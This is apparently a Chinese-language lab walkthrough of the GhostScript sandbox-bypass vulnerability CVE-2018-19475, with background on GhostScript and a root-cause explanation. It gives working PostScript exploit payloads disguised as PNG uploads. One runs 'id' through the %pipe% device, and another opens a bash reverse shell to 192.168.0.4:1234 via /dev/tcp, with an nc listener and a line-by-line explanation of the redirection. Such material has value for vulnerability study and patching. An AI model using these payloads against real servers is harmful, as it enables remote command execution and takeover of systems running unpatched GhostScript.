GhostScript
GhostScript最初是以商业软件形式在PC市场上发售,当时名为“GoScript”。但由于速度太慢(半小时一版A4),销量极差。后来有心人买下了版权,并改在Linux上开发,成为了今日的Ghostscript。ghostscript如今已经从Linux版本移植到其他操作系统,如Unix、Mac
OS X、VMS、Windows、OS/2和Mac OS classic。GhostScript可用作电脑印表机使用的栅格化影像处理器(RIP)。一般从用户常见文件如图片或者word到打印机经过这么几套工序,以word为例:
Doc文件 -> 中间文件(如pdf,以前是postscript)->打印机语言(如:PCL)->打印机
GhostScript可以将中间文件转化为适应各种打印机的打印机语言(或者叫光栅文件)。然后将该文件发送给打印机,打印机将光栅文件打印到纸张上,就是一次完整的打印过程。
提示:以下是本篇文章正文内容,下面案例可供参考
2018年底来自Semmle Security Research团队的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。
【CVE-2018-19475】GhostScript 沙箱绕过命令执行漏洞评分7.8分,危害评级为高危。
通过利用该漏洞,攻击者可以绕过沙箱达到命令执行,控制服务器权限。
ghostscript 9.26以前版本
对目标靶机进行访问,发现上传点,新建文本文档,输入代码如下:
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
将文件重命名为1.png
将文件通过上传点进行上传,执行结果:
新建success文件,将id这个命令写入到success文件中
当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
开启终端,写入监听命令:
nc -lvp 1234
新建文档,输入命令如下:
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%bash -c "bash -i >& /dev/tcp/192.168.0.4/1234 0>&1") (w) file
将文档改为2.png
bash -i代表在本地打开一个bash,/dev/tcp/是Linux中的一个特殊文件,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,以此建立交互式shell.
bash -c "cmd string"用于执行双引号中的cmd string
上传该文件后成功收到反弹shell
当dorestore退出时,LockFilePermissions的值被设置为false
具体代码:
http://git.ghostscript.com/?
p=ghostpdl.git;a=blob;f=psi/zvmem.c;h=87a0a4ff1d68904995fd8e86ffb0e030c993f3f9;
hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l198
随后使用.setuserparams方法还原LockFilePermissions
具体代码:
http://git.ghostscript.com/?
p=ghostpdl.git;a=blob;f=Resource/Init/gs_lev2.ps;
h=44fe619566596ff88d3b69e5fb3d4715ef2e6e23;
hb=81f3d1e7247b9a8e29a388677b01959e612a28c7#l178
但是,在restore之后,.setuserparams方法执行之前,可能会抛出StackOverflowError栈溢出错误,不会重置“LockFilePermissions”。从而导致绕过-dSAFER
选项,该选项允许在还原LockFilePermissions失败后执行shell命令。